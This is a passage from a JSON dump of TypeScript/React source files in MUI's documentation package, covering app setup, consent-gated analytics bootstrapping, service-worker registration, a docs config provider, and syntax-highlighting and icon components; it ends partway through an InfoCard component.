    "content": "import { mapTranslations } from '../i18n';\nimport type { RequireContext } from '../i18n';\n\ninterface AppContext {\n  ctx: {\n    query: { userLanguage?: string };\n  };\n  Component: {\n    getInitialProps?: (ctx: AppContext['ctx']) => Promise<Record<string, unknown>>;\n  };\n}\n\n/**\n * Factory to create MyApp.getInitialProps.\n * Follows the same pattern as `@mui/docs/Document`'s `createGetInitialProps`.\n *\n * @param options.translationsContext - A webpack require.context pointing at translation JSON files.\n *   e.g. `require.context('docs/translations', false, /\\.\\/translations.*\\.json$/)`\n */\n\nexport function createGetInitialProps(options: { translationsContext: RequireContext }) {\n  async function getInitialPropsApp({ ctx, Component }: AppContext) {\n    let pageProps: Record<string, unknown> = {};\n\n    const translations = mapTranslations(options.translationsContext);\n\n    if (Component.getInitialProps) {\n      pageProps = await Component.getInitialProps(ctx);\n    }\n\n    return {\n      pageProps: {\n        userLanguage: ctx.query.userLanguage || 'en',\n        translations,\n        ...pageProps,\n      },\n    };\n  }\n\n  return getInitialPropsApp;\n}\n"
  },
  {
    "path": "packages/mui-docs/src/DocsApp/index.ts",
    "content": "export { DocsApp } from './DocsApp';\nexport type { DocsAppProps } from './DocsApp';\nexport { createGetInitialProps } from './createGetInitialProps';\nexport { printConsoleBanner } from './consoleBanner';\nexport { reportWebVitals } from './reportWebVitals';\n"
  },
  {
    "path": "packages/mui-docs/src/DocsApp/loadDependencies.ts",
    "content": "import { loadCSS } from 'fg-loadcss';\n\nlet dependenciesLoaded = false;\n\nexport function loadDependencies(): void {\n  if (dependenciesLoaded) {\n    return;\n  }\n\n  dependenciesLoaded = true;\n\n  loadCSS(\n    'https://fonts.googleapis.com/icon?family=Material+Icons|Material+Icons+Two+Tone',\n    (document.querySelector('#material-icon-font') as HTMLElement | null) ?? undefined,\n  );\n}\n"
  },
  {
    "path": "packages/mui-docs/src/DocsApp/reportWebVitals.ts",
    "content": "// Track fraction of actual events to prevent exceeding event quota.\n// Filter sessions instead of individual events so that we can track multiple metrics per device.\n// See https://github.com/GoogleChromeLabs/web-vitals-report to use this data\nconst disableWebVitalsReporting = Math.random() > 0.0001;\n\nexport function reportWebVitals({\n  id,\n  name,\n  label,\n  delta,\n  value,\n}: {\n  id: string;\n  name: string;\n  label: string;\n  delta: number;\n  value: number;\n}): void {\n  if (disableWebVitalsReporting) {\n    return;\n  }\n\n  window.gtag('event', name, {\n    value: delta,\n    metric_label: label === 'web-vital' ? 'Web Vitals' : 'Next.js custom metric',\n    metric_value: value,\n    metric_delta: delta,\n    metric_id: id, // id unique to current page load\n  });\n}\n"
  },
  {
    "path": "packages/mui-docs/src/DocsApp/serviceWorker.ts",
    "content": "let reloadInterval: ReturnType<typeof setInterval>;\n\n// Avoid infinite loop when \"Update on reload\" is set in the Chrome sw dev tools.\nfunction lazyReload() {\n  clearInterval(reloadInterval);\n  reloadInterval = setInterval(() => {\n    if (document.hasFocus()) {\n      window.location.reload();\n    }\n  }, 100);\n}\n\n// Inspired by\n// https://developers.google.com/web/tools/workbox/guides/advanced-recipes#offer_a_page_reload_for_users\nfunction forcePageReload(registration: ServiceWorkerRegistration) {\n  // console.log('already controlled?', Boolean(navigator.serviceWorker.controller));\n\n  if (!navigator.serviceWorker.controller) {\n    // The window client isn't currently controlled so it's a new service\n    // worker that will activate immediately.\n    return;\n  }\n\n  // console.log('registration waiting?', Boolean(registration.waiting));\n  if (registration.waiting) {\n    // SW is waiting to activate. Can occur if multiple clients open and\n    // one of the clients is refreshed.\n    registration.waiting.postMessage('skipWaiting');\n    return;\n  }\n\n  function listenInstalledStateChange() {\n    registration.installing!.addEventListener('statechange', (event) => {\n      // console.log('statechange', event.target.state);\n      if ((event.target as ServiceWorker).state === 'installed' && registration.waiting) {\n        // A new service worker is available, inform the user\n        registration.waiting.postMessage('skipWaiting');\n      } else if ((event.target as ServiceWorker).state === 'activated') {\n        // Force the control of the page by the activated service worker.\n        lazyReload();\n      }\n    });\n  }\n\n  if (registration.installing) {\n    listenInstalledStateChange();\n    return;\n  }\n\n  // We are currently controlled so a new SW may be found...\n  // Add a listener in case a new SW is found,\n  registration.addEventListener('updatefound', listenInstalledStateChange);\n}\n\nexport async function registerServiceWorker(swPath: string): Promise<void> {\n  if (\n    'serviceWorker' in navigator &&\n    process.env.NODE_ENV === 'production' &&\n    window.location.host.includes('mui.com')\n  ) {\n    // register() automatically attempts to refresh the sw.js.\n    const registration = await navigator.serviceWorker.register(swPath);\n    // Force the page reload for users.\n    forcePageReload(registration);\n  }\n}\n"
  },
  {
    "path": "packages/mui-docs/src/DocsProvider/DocsProvider.tsx",
    "content": "import * as React from 'react';\nimport { Translations, UserLanguageProvider } from '../i18n';\nimport { AdConfig, AdProvider } from '../Ad';\n\nexport interface DocsConfig {\n  LANGUAGES: string[];\n  LANGUAGES_SSR: string[];\n  LANGUAGES_IN_PROGRESS: string[];\n  LANGUAGES_IGNORE_PAGES: (pathname: string) => boolean;\n}\n\nconst DocsConfigContext = React.createContext<DocsConfig | null>(null);\n\nexport interface DocsProviderProps {\n  config: DocsConfig;\n  adConfig?: Partial<AdConfig>;\n  defaultUserLanguage: string;\n  children?: React.ReactNode;\n  translations?: Translations;\n}\n\nexport function DocsProvider({\n  config,\n  adConfig,\n  defaultUserLanguage,\n  translations,\n  children,\n}: DocsProviderProps) {\n  return (\n    <DocsConfigContext.Provider value={config}>\n      <AdProvider config={adConfig}>\n        <UserLanguageProvider defaultUserLanguage={defaultUserLanguage} translations={translations}>\n          {children}\n        </UserLanguageProvider>\n      </AdProvider>\n    </DocsConfigContext.Provider>\n  );\n}\n\nexport function useDocsConfig() {\n  const config = React.useContext(DocsConfigContext);\n  if (!config) {\n    throw new Error(\n      'Could not find docs config context value; please ensure the component is wrapped in a <DocsProvider>',\n    );\n  }\n  return config;\n}\n"
  },
  {
    "path": "packages/mui-docs/src/DocsProvider/index.ts",
    "content": "export * from './DocsProvider';\n"
  },
  {
    "path": "packages/mui-docs/src/Document/Document.tsx",
    "content": "import * as React from 'react';\nimport Script from 'next/script';\nimport { Html, Head, Main, NextScript } from 'next/document';\nimport GlobalStyles from '@mui/material/GlobalStyles';\nimport MuiInitColorSchemeScript from '@mui/material/InitColorSchemeScript';\nimport { getMetaThemeColor } from '../branding';\nimport { fontClasses } from '../nextFonts';\n\nexport type DocumentProps = {\n  canonicalAsServer: string;\n  analytics: {\n    google: string;\n    apollo: string;\n  };\n  userLanguage: string;\n  children?: React.ReactNode;\n};\n\nexport function Document({ canonicalAsServer, userLanguage, analytics, children }: DocumentProps) {\n  return (\n    <Html lang={userLanguage} data-mui-color-scheme=\"light\">\n      <Head>\n        {/*\n            manifest.json provides metadata used when your web app is added to the\n            homescreen on Android. See https://developers.google.com/web/fundamentals/engage-and-retain/web-app-manifest/\n          */}\n        <link rel=\"manifest\" href=\"/static/manifest.json\" />\n        {/* PWA primary color */}\n        <meta\n          name=\"theme-color\"\n          content={getMetaThemeColor('light')}\n          media=\"(prefers-color-scheme: light)\"\n        />\n        <meta\n          name=\"theme-color\"\n          content={getMetaThemeColor('dark')}\n          media=\"(prefers-color-scheme: dark)\"\n        />\n        <link rel=\"icon\" href=\"/static/favicon.ico\" />\n        {/* iOS Icon */}\n        <link rel=\"apple-touch-icon\" sizes=\"180x180\" href=\"/static/icons/180x180.png\" />\n        {/* SEO */}\n        <link\n          rel=\"canonical\"\n          href={`https://mui.com${\n            userLanguage === 'en' ? '' : `/${userLanguage}`\n          }${canonicalAsServer}`}\n        />\n        <link rel=\"alternate\" href={`https://mui.com${canonicalAsServer}`} hrefLang=\"x-default\" />\n        <GlobalStyles\n          styles={{\n            // First SSR paint\n            '.only-light-mode': {\n              display: 'block',\n            },\n            '.only-dark-mode': {\n              display: 'none',\n            },\n            // Post SSR Hydration\n            '.mode-dark .only-light-mode': {\n              display: 'none',\n            },\n            '.mode-dark .only-dark-mode': {\n              display: 'block',\n            },\n            // TODO migrate to .only-dark-mode to .only-dark-mode-v2\n            '[data-mui-color-scheme=\"light\"] .only-dark-mode-v2': {\n              display: 'none',\n            },\n            '[data-mui-color-scheme=\"dark\"] .only-light-mode-v2': {\n              display: 'none',\n            },\n            '.plan-pro, .plan-premium': {\n              display: 'inline-block',\n              height: '0.9em',\n              width: '1em',\n              verticalAlign: 'middle',\n              marginLeft: '0.3em',\n              marginBottom: '0.08em',\n              backgroundSize: 'contain',\n              backgroundRepeat: 'no-repeat',\n              flexShrink: 0,\n            },\n            '.plan-pro': {\n              backgroundImage: 'url(/static/x/pro.svg)',\n            },\n            '.plan-premium': {\n              backgroundImage: 'url(/static/x/premium.svg)',\n            },\n          }}\n        />\n      </Head>\n      <body className={fontClasses}>\n        <MuiInitColorSchemeScript defaultMode=\"system\" />\n        {children}\n        <Main />\n        <script\n          // eslint-disable-next-line react/no-danger\n          dangerouslySetInnerHTML={{\n            __html: `\nwindow.dataLayer = window.dataLayer || [];\nfunction gtag(){dataLayer.push(arguments);}\nwindow.gtag = gtag;\n\n${/* Set default consent to denied (Google Consent Mode v2) */ ''}\ngtag('consent', 'default', {\n  'ad_storage': 'denied',\n  'ad_user_data': 'denied',\n  'ad_personalization': 'denied',\n  'analytics_storage': 'denied',\n  'wait_for_update': 500\n});\ngtag('set', 'ads_data_redaction', true);\ngtag('set', 'url_passthrough', true);\n\ngtag('js', new Date());\ngtag('config', '${analytics.google}', {\n  send_page_view: false,\n});\n\n${/* Apollo initialization - called by AnalyticsProvider when consent is granted */ ''}\nwindow.initApollo = function() {\n  if (window.apolloInitialized) return;\n  window.apolloInitialized = true;\n  var n = Math.random().toString(36).substring(7),\n    o = document.createElement('script');\n  o.src = 'https://assets.apollo.io/micro/website-tracker/tracker.iife.js?nocache=' + n;\n  o.async = true;\n  o.defer = true;\n  o.onload = function () {\n    window.trackingFunctions.onLoad({ appId: '${analytics.apollo}' });\n  };\n  document.head.appendChild(o);\n};\n\n${/* Check localStorage for existing consent and initialize if already granted */ ''}\n(function() {\n  try {\n    var consent = localStorage.getItem('docs-cookie-consent');\n    if (consent === 'analytics') {\n      window.initApollo();\n    }\n  } catch (e) {}\n})();\n`,\n          }}\n        />\n        {/**\n         * A better alternative to <script async>, to delay its execution\n         * https://developer.chrome.com/blog/script-component/\n         */}\n        <Script\n          strategy=\"afterInteractive\"\n          src={`https://www.googletagmanager.com/gtag/js?id=${analytics.google}`}\n        />\n        <NextScript />\n      </body>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/mui-docs/src/Document/getInitialProps.tsx",
    "content": "import * as React from 'react';\nimport type { DocumentContext } from 'next/document';\nimport { documentGetInitialProps } from '@mui/material-nextjs/v13-pagesRouter';\nimport createEmotionCache from '../DocsApp/createEmotionCache';\nimport { pathnameToLanguage } from '../helpers/helpers';\n\nexport function createGetInitialProps({\n  setupStyledComponents = false,\n}: {\n  setupStyledComponents: boolean;\n}) {\n  async function getInitialPropsDocument(ctx: DocumentContext) {\n    const styledComponentsSheet = setupStyledComponents\n      ? new (await import('styled-components')).ServerStyleSheet()\n      : null;\n\n    try {\n      const finalProps = await documentGetInitialProps(ctx, {\n        emotionCache: createEmotionCache(),\n        plugins: styledComponentsSheet\n          ? [\n              {\n                enhanceApp: (App) => (props) =>\n                  styledComponentsSheet.collectStyles(<App {...props} />),\n                resolveProps: async (initialProps) => ({\n                  ...initialProps,\n                  styles: [\n                    styledComponentsSheet.getStyleElement(),\n                    ...React.Children.toArray(initialProps.styles),\n                  ],\n                }),\n              },\n            ]\n          : [],\n      });\n\n      // All the URLs should have a leading /.\n      // This is missing in the Next.js static export.\n      let url = ctx.req?.url;\n      if (url && url[url.length - 1] !== '/') {\n        url += '/';\n      }\n\n      const isProd =\n        process.env.DEPLOY_ENV === 'production' || process.env.DEPLOY_ENV === 'staging';\n      const google = isProd ? 'G-5NXDQLC2ZK' : 'G-XJ83JQEK7J';\n      const apollo = isProd ? '691c2e920c5e20000d7801b6' : 'dev-id';\n\n      return {\n        ...finalProps,\n        canonicalAsServer: pathnameToLanguage(url ?? '').canonicalAsServer,\n        analytics: {\n          google,\n          apollo,\n        },\n        userLanguage: ctx.query.userLanguage || 'en',\n        styles: [\n          <style id=\"material-icon-font\" key=\"material-icon-font\" />,\n          <style id=\"font-awesome-css\" key=\"font-awesome-css\" />,\n          ...finalProps.emotionStyleTags,\n          <style id=\"app-search\" key=\"app-search\" />,\n          <style id=\"prismjs\" key=\"prismjs\" />,\n          ...React.Children.toArray(finalProps.styles),\n        ],\n      };\n    } finally {\n      if (styledComponentsSheet) {\n        styledComponentsSheet.seal();\n      }\n    }\n  }\n\n  return getInitialPropsDocument;\n}\n"
  },
  {
    "path": "packages/mui-docs/src/Document/index.ts",
    "content": "export * from './Document';\nexport * from './getInitialProps';\n"
  },
  {
    "path": "packages/mui-docs/src/HighlightedCode/HighlightedCode.test.tsx",
    "content": "import { expect } from 'chai';\nimport { createRenderer } from '@mui/internal-test-utils';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\nimport { getDesignTokens } from '../branding';\nimport { HighlightedCode } from './HighlightedCode';\n\ndescribe('HighlightedCode', () => {\n  const { render } = createRenderer();\n\n  it('does not crash with default theme', () => {\n    expect(() =>\n      render(\n        <ThemeProvider theme={createTheme()}>\n          <HighlightedCode code=\"\" language=\"javascript\" />\n        </ThemeProvider>,\n      ),\n    ).not.to.throw();\n  });\n\n  it('does not crash with default theme in dark mode', () => {\n    expect(() =>\n      render(\n        <ThemeProvider theme={createTheme({ palette: { mode: 'dark' } })}>\n          <HighlightedCode code=\"\" language=\"javascript\" />\n        </ThemeProvider>,\n      ),\n    ).not.to.throw();\n  });\n\n  it('does not crash with branding theme', () => {\n    expect(() =>\n      render(\n        <ThemeProvider theme={createTheme(getDesignTokens('light'))}>\n          <HighlightedCode code=\"\" language=\"javascript\" />\n        </ThemeProvider>,\n      ),\n    ).not.to.throw();\n  });\n\n  it('does not crash with branding theme in dark mode', () => {\n    expect(() =>\n      render(\n        <ThemeProvider theme={createTheme(getDesignTokens('dark'))}>\n          <HighlightedCode code=\"\" language=\"javascript\" />\n        </ThemeProvider>,\n      ),\n    ).not.to.throw();\n  });\n});\n"
  },
  {
    "path": "packages/mui-docs/src/HighlightedCode/HighlightedCode.tsx",
    "content": "import * as React from 'react';\nimport prism from '@mui/internal-markdown/prism';\nimport { NoSsr } from '@mui/base/NoSsr';\nimport { ButtonProps } from '@mui/material/Button';\nimport { SxProps, styled } from '@mui/material/styles';\nimport { useCodeCopy, CodeCopyButton } from '../CodeCopy';\nimport { MarkdownElement } from '../MarkdownElement';\n\nconst Pre = styled('pre')(({ theme }) => ({\n  margin: 0,\n  color: 'hsl(60deg 30% 96.08%)', // fallback color until Prism's theme is loaded\n  WebkitOverflowScrolling: 'touch', // iOS momentum scrolling.\n  '& code': {\n    // Avoid layout jump after hydration (style injected by Prism)\n    ...theme.typography.caption,\n    fontFamily: theme.typography.fontFamilyCode,\n    fontWeight: 400,\n    WebkitFontSmoothing: 'subpixel-antialiased',\n    // Reset for Safari\n    // https://github.com/necolas/normalize.css/blob/master/normalize.css#L102\n  },\n}));\n\nexport interface HighlightedCodeProps {\n  code: string;\n  copyButtonHidden?: boolean;\n  copyButtonProps?: ButtonProps;\n  language: string;\n  parentComponent?: React.ElementType;\n  plainStyle?: boolean;\n  preComponent?: React.ElementType;\n  sx?: SxProps;\n}\n\nexport function HighlightedCode(props: HighlightedCodeProps) {\n  const {\n    code,\n    copyButtonHidden = false,\n    copyButtonProps,\n    language,\n    plainStyle,\n    parentComponent: Component = plainStyle ? React.Fragment : MarkdownElement,\n    preComponent: PreComponent = plainStyle ? Pre : 'pre',\n    ...other\n  } = props;\n  const renderedCode = React.useMemo(() => {\n    return prism(code.trim(), language);\n  }, [code, language]);\n  const handlers = useCodeCopy();\n\n  const componentProps = !plainStyle ? other : undefined;\n\n  return (\n    <Component {...componentProps}>\n      <div className=\"MuiCode-root\" {...handlers} style={{ height: '100%' }}>\n        {copyButtonHidden ? null : (\n          <NoSsr>\n            <CodeCopyButton code={code} {...copyButtonProps} />\n          </NoSsr>\n        )}\n        <PreComponent>\n          <code\n            className={`language-${language}`}\n            // eslint-disable-next-line react/no-danger\n            dangerouslySetInnerHTML={{ __html: renderedCode }}\n          />\n        </PreComponent>\n      </div>\n    </Component>\n  );\n}\n"
  },
  {
    "path": "packages/mui-docs/src/HighlightedCode/index.ts",
    "content": "export * from './HighlightedCode';\n"
  },
  {
    "path": "packages/mui-docs/src/HighlightedCodeWithTabs/HighlightedCodeWithTabs.tsx",
    "content": "import * as React from 'react';\nimport { styled, alpha } from '@mui/material/styles';\nimport { Tabs, TabsOwnProps } from '@mui/base/Tabs';\nimport { TabsList as TabsListBase } from '@mui/base/TabsList';\nimport { TabPanel as TabPanelBase } from '@mui/base/TabPanel';\nimport { Tab as TabBase } from '@mui/base/Tab';\nimport useLocalStorageState from '@mui/utils/useLocalStorageState';\nimport { HighlightedCode } from '../HighlightedCode';\n\nconst PACKAGE_MANAGER_ORDER = new Map(\n  ['npm', 'pnpm', 'yarn'].map((manager, index) => [manager, index]),\n);\n\nexport const CodeTabList = styled(TabsListBase)<{\n  ownerState: { mounted: boolean; contained?: boolean };\n}>(({ theme }) => ({\n  display: 'flex',\n  gap: theme.spacing(0.5),\n  borderLeft: '1px solid',\n  borderRight: '1px solid',\n  overflowX: 'auto',\n  ...theme.applyDarkStyles({\n    backgroundColor: alpha(theme.palette.primaryDark[800], 0.2),\n  }),\n  variants: [\n    {\n      props: ({ ownerState }) => ownerState?.contained,\n      style: {\n        padding: theme.spacing(1.5, 1),\n      },\n    },\n    {\n      props: ({ ownerState }) => !ownerState?.contained,\n      style: {\n        padding: theme.spacing(1),\n      },\n    },\n    {\n      props: ({ ownerState }) => ownerState?.contained,\n      style: {\n        borderTop: 'none',\n      },\n    },\n    {\n      props: ({ ownerState }) => !ownerState?.contained,\n      style: {\n        borderTop: '1px solid',\n      },\n    },\n    {\n      props: ({ ownerState }) => ownerState?.contained,\n      style: {\n        borderBottom: 'none',\n      },\n    },\n    {\n      props: ({ ownerState }) => !ownerState?.contained,\n      style: {\n        borderBottom: '1px solid',\n      },\n    },\n    {\n      props: ({ ownerState }) => ownerState?.contained,\n      style: {\n        borderTopLeftRadius: 0,\n      },\n    },\n    {\n      props: ({ ownerState }) => !ownerState?.contained,\n      style: {\n        borderTopLeftRadius: (theme.vars || theme).shape.borderRadius,\n      },\n    },\n    {\n      props: ({ ownerState }) => ownerState?.contained,\n      style: {\n        borderTopRightRadius: 0,\n      },\n    },\n    {\n      props: ({ ownerState }) => !ownerState?.contained,\n      style: {\n        borderTopRightRadius: (theme.vars || theme).shape.borderRadius,\n      },\n    },\n    {\n      props: ({ ownerState }) => ownerState?.contained,\n      style: {\n        borderColor: (theme.vars || theme).palette.divider,\n      },\n    },\n    {\n      props: ({ ownerState }) => !ownerState?.contained,\n      style: {\n        borderColor: (theme.vars || theme).palette.primaryDark[700],\n      },\n    },\n    {\n      props: ({ ownerState }) => ownerState?.contained,\n      style: {\n        backgroundColor: alpha(theme.palette.grey[50], 0.2),\n      },\n    },\n    {\n      props: ({ ownerState }) => !ownerState?.contained,\n      style: {\n        backgroundColor: (theme.vars || theme).palette.primaryDark[900],\n      },\n    },\n  ],\n}));\n\nexport const CodeTabPanel = styled(TabPanelBase)<{\n  ownerState: { mounted: boolean; contained?: boolean };\n}>({\n  '& pre': {\n    borderTopLeftRadius: 0,\n    borderTopRightRadius: 0,\n    '& code': {},\n  },\n  variants: [\n    {\n      props: ({ ownerState }) => ownerState?.contained,\n      style: {\n        marginTop: -1,\n      },\n    },\n    {\n      props: ({ ownerState }) => !ownerState?.contained,\n      style: {\n        marginTop: 0,\n      },\n    },\n    {\n      props: ({ ownerState }) => ownerState?.contained,\n      style: {\n        '& pre': {\n          marginTop: 0,\n        },\n      },\n    },\n    {\n      props: ({ ownerState }) => !ownerState?.contained,\n      style: {\n        '& pre': {\n          marginTop: -1,\n        },\n      },\n    },\n    {\n      props: ({ ownerState }) => ownerState.mounted,\n      style: {\n        '& pre': {\n          '& code': {\n            opacity: 1,\n          },\n        },\n      },\n    },\n    {\n      props: ({ ownerState }) => !ownerState.mounted,\n      style: {\n        '& pre': {\n          '& code': {\n            opacity: 0,\n          },\n        },\n      },\n    },\n  ],\n});\n\nexport const CodeTab = styled(TabBase)<{ ownerState: { mounted: boolean; contained?: boolean } }>(\n  ({ theme }) => ({\n    variants: [\n      {\n        props: ({ ownerState }) => ownerState?.contained,\n        style: {\n          border: '1px solid transparent',\n          fontSize: theme.typography.pxToRem(13),\n        },\n      },\n      {\n        props: ({ ownerState }) => !ownerState?.contained,\n        style: {\n          border: 'none',\n          fontSize: theme.typography.pxToRem(12),\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState?.contained,\n        style: {\n          color: (theme.vars || theme).palette.text.tertiary,\n        },\n      },\n      {\n        props: ({ ownerState }) => !ownerState?.contained,\n        style: {\n          color: (theme.vars || theme).palette.grey[500],\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState?.contained,\n        style: {\n          fontFamily: theme.typography.fontFamily,\n        },\n      },\n      {\n        props: ({ ownerState }) => !ownerState?.contained,\n        style: {\n          fontFamily: theme.typography.fontFamilyCode,\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState?.contained,\n        style: {\n          fontWeight: theme.typography.fontWeightMedium,\n        },\n      },\n      {\n        props: ({ ownerState }) => !ownerState?.contained,\n        style: {\n          fontWeight: theme.typography.fontWeightBold,\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState?.contained,\n        style: {\n          transition: 'background, color, 100ms ease',\n        },\n      },\n      {\n        props: ({ ownerState }) => !ownerState?.contained,\n        style: {\n          transition: 'unset',\n        },\n      },\n      {\n        props: ({ ownerState }) => !ownerState?.contained,\n        style: {\n          '&:hover': {\n            backgroundColor: alpha(theme.palette.primaryDark[500], 0.5),\n            color: (theme.vars || theme).palette.grey[400],\n          },\n        },\n      },\n      {\n        props: ({ ownerState }) => !ownerState?.contained && ownerState.mounted,\n        style: {\n          '&.base--selected': {\n            color: '#FFF',\n            '&::after': {\n              content: \"''\",\n              position: 'absolute',\n              left: 0,\n              bottom: '-8px',\n              height: 2,\n              width: '100%',\n              bgcolor: (theme.vars || theme).palette.primary.light,\n            },\n          },\n        },\n      },\n    ],\n    ...theme.unstable_sx({\n      flex: '0 0 auto',\n      height: 26,\n      p: '2px 8px',\n      bgcolor: 'transparent',\n      lineHeight: 1.2,\n      outline: 'none',\n      minWidth: 45,\n      cursor: 'pointer',\n      borderRadius: 99,\n      position: 'relative',\n      '&:hover': {\n        backgroundColor: (theme.vars || theme).palette.divider,\n      },\n      '&:focus-visible': {\n        outline: '3px solid',\n        outlineOffset: '1px',\n        outlineColor: (theme.vars || theme).palette.primary.light,\n      },\n    }),\n  }),\n);\n\ntype TabsConfig = {\n  code: string | ((tab: string) => string);\n  language: string;\n  tab: string;\n};\n\nexport function HighlightedCodeWithTabs(\n  props: {\n    tabs: Array<TabsConfig>;\n    storageKey?: string;\n  } & Record<string, any>,\n) {\n  const { tabs, storageKey } = props;\n  const availableTabs = React.useMemo(() => {\n    const result = tabs.map(({ tab }) => tab);\n    if (storageKey === 'package-manager') {\n      result.sort(\n        (a, b) =>\n          (PACKAGE_MANAGER_ORDER.get(a) ?? Infinity) - (PACKAGE_MANAGER_ORDER.get(b) ?? Infinity),\n      );\n    }\n    return result;\n  }, [storageKey, tabs]);\n  const [activeTab, setActiveTab] = useLocalStorageState(storageKey ?? null, availableTabs[0]);\n  // During hydration, activeTab is null, default to first value.\n  const defaultizedActiveTab = activeTab ?? availableTabs[0];\n\n  const [mounted, setMounted] = React.useState(false);\n\n  React.useEffect(() => {\n    setMounted(true);\n  }, []);\n\n  const handleChange: TabsOwnProps['onChange'] = (event, newValue) => {\n    setActiveTab(newValue as string);\n  };\n\n  const ownerState = { mounted };\n  return (\n    <Tabs selectionFollowsFocus value={defaultizedActiveTab} onChange={handleChange}>\n      <CodeTabList ownerState={ownerState}>\n        {tabs.map(({ tab }) => (\n          <CodeTab ownerState={ownerState} key={tab} value={tab}>\n            {tab}\n          </CodeTab>\n        ))}\n      </CodeTabList>\n      {tabs.map(({ tab, language, code }) => (\n        <CodeTabPanel ownerState={ownerState} key={tab} value={tab}>\n          <HighlightedCode\n            language={language || 'bash'}\n            code={typeof code === 'function' ? code(tab) : code}\n          />\n        </CodeTabPanel>\n      ))}\n    </Tabs>\n  );\n}\n"
  },
  {
    "path": "packages/mui-docs/src/HighlightedCodeWithTabs/index.ts",
    "content": "export * from './HighlightedCodeWithTabs';\nexport { HighlightedCodeWithTabs as default } from './HighlightedCodeWithTabs';\n"
  },
  {
    "path": "packages/mui-docs/src/IconImage/IconImage.tsx",
    "content": "import * as React from 'react';\nimport { styled, Theme } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport { SxProps } from '@mui/system';\nimport { ThemeOptionsContext } from '../ThemeContext';\n\nexport type IconImageProps = {\n  name:\n    | 'product-core'\n    | 'product-advanced'\n    | 'product-toolpad'\n    | 'product-templates'\n    | 'product-designkits'\n    | 'pricing/x-plan-pro'\n    | 'pricing/x-plan-premium'\n    | 'pricing/x-plan-community'\n    | 'pricing/yes'\n    | 'pricing/no'\n    | 'pricing/time'\n    | 'companies/spotify'\n    | 'companies/amazon'\n    | 'companies/nasa'\n    | 'companies/netflix'\n    | 'companies/unity'\n    | 'companies/shutterstock'\n    | 'companies/southwest'\n    | 'companies/siemens'\n    | 'companies/deloitte'\n    | 'companies/apple'\n    | 'companies/twitter'\n    | 'companies/salesforce'\n    | 'companies/verizon'\n    | 'companies/atandt'\n    | 'companies/patreon'\n    | 'companies/ebay'\n    | 'companies/samsung'\n    | 'companies/volvo'\n    | 'companies/tesla'\n    | string;\n  height?: number;\n  mode?: '' | 'light' | 'dark';\n  sx?: SxProps<Theme>;\n  width?: number;\n} & Omit<React.JSX.IntrinsicElements['img'], 'ref'>;\n\nconst Img = styled('img')({ display: 'inline-block', verticalAlign: 'bottom' });\n\nlet neverHydrated = true;\n\nexport default function IconImage(props: IconImageProps) {\n  const { height: heightProp, name, width: widthProp, mode: modeProp, ...other } = props;\n  const themeOptions = React.useContext(ThemeOptionsContext);\n  const [firstRender, setFirstRender] = React.useState(true);\n  React.useEffect(() => {\n    setFirstRender(false);\n    neverHydrated = false;\n  }, []);\n  let defaultWidth;\n  let defaultHeight;\n  const mode = modeProp ?? themeOptions.paletteMode;\n\n  if (name.startsWith('product-')) {\n    defaultWidth = 36;\n    defaultHeight = 36;\n  } else if (name.startsWith('pricing/x-plan-')) {\n    defaultWidth = 17;\n    defaultHeight = 20;\n  } else if (['pricing/yes', 'pricing/no', 'pricing/time'].includes(name)) {\n    defaultWidth = 18;\n    defaultHeight = 18;\n  }\n\n  const width = widthProp ?? defaultWidth;\n  const height = heightProp ?? defaultHeight;\n\n  // First time render with a theme depend image\n  if (firstRender && neverHydrated && mode !== '') {\n    if (other.loading === 'eager') {\n      return (\n        <React.Fragment>\n          <Img\n            className=\"only-light-mode-v2\"\n            src={`/static/branding/${name}-light.svg`}\n            alt=\"\"\n            width={width}\n            height={height}\n            {...other}\n            loading=\"lazy\"\n          />\n          <Img\n            className=\"only-dark-mode-v2\"\n            src={`/static/branding/${name}-dark.svg`}\n            alt=\"\"\n            width={width}\n            height={height}\n            {...other}\n            loading=\"lazy\"\n          />\n        </React.Fragment>\n      );\n    }\n\n    // Prevent hydration mismatch between the light and dark mode image source.\n    return <Box component=\"span\" sx={{ width, height, display: 'inline-block' }} />;\n  }\n\n  return (\n    <Img\n      src={`/static/branding/${name}${mode ? `-${mode}` : ''}.svg`}\n      alt=\"\"\n      loading=\"lazy\"\n      width={width}\n      height={height}\n      {...other}\n    />\n  );\n}\n"
  },
  {
    "path": "packages/mui-docs/src/IconImage/index.ts",
    "content": "export { default, type IconImageProps } from './IconImage';\n"
  },
  {
    "path": "packages/mui-docs/src/InfoCard/InfoCard.tsx",
    "content": "import * as React from 'react';\nimport { alpha } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Paper from '@mui/material/Paper';\nimport Typography, { TypographyProps } from '@mui/material/Typography';\nimport { Link, LinkProps } from '../Link';\n\ninterface GlowingIconContainerProps {\n  icon: React.ReactNode;\n}\n\nexport function GlowingIconContainer({ icon }: GlowingIconContainerProps) {\n  return (\n    <Box\n      sx={(theme) => ({\n        width: 36,\n        height: 36,\n        display: 'flex',\n        justifyContent: 'center',\n        alignItems: 'center',\n        flexShrink: 0,\n        borderRadius: 1,\n        border: '1px solid',\n        borderColor: 'primary.200',\n        bgcolor: 'primary.50',\n        boxShadow: `0px 0 0 2px ${alpha(theme.palette.primary[500], 0.1)}, 0px 2px 12px 0px rgba(234, 237, 241, 0.3) inset`,\n        '& .MuiSvgIcon-root': {\n          fontSize: theme.typography.pxToRem(18),\n        },\n        ...theme.applyDarkStyles({\n          borderColor: alpha(theme.palette.primary[400], 0.25),\n          bgcolor: alpha(theme.palette.primary[900], 0.2),\n          boxShadow: `0 0 0 2px ${alpha(theme.palette.primary[600], 0.1)}, 0px 2px 12px 0px rgba(0, 0, 0, 0.25) inset`,\n        }),\n      })}\n    >\n      {icon}\n    </Box>\n  );\n}\n\ninterface InfoCardProps {\n  classNameDescription?: string;\n  classNameTitle?: string;\n  description?: string;\n  icon?: React.ReactNode;\n  link?: string;\n  prefetch?: LinkProps['prefetch'];\n  svg?: React.ReactNode;\n  title: string;\n  titleProps?: TypographyProps;\n}\n\nexport function InfoCard(props: InfoCardProps) {\n  const {\n    classNameDescription,\n    classNameTitle,\n    description,\n    icon,\n    link,\n    svg,\n    title,\n    titleProps,\n    ...other\n  } = props;\n  return 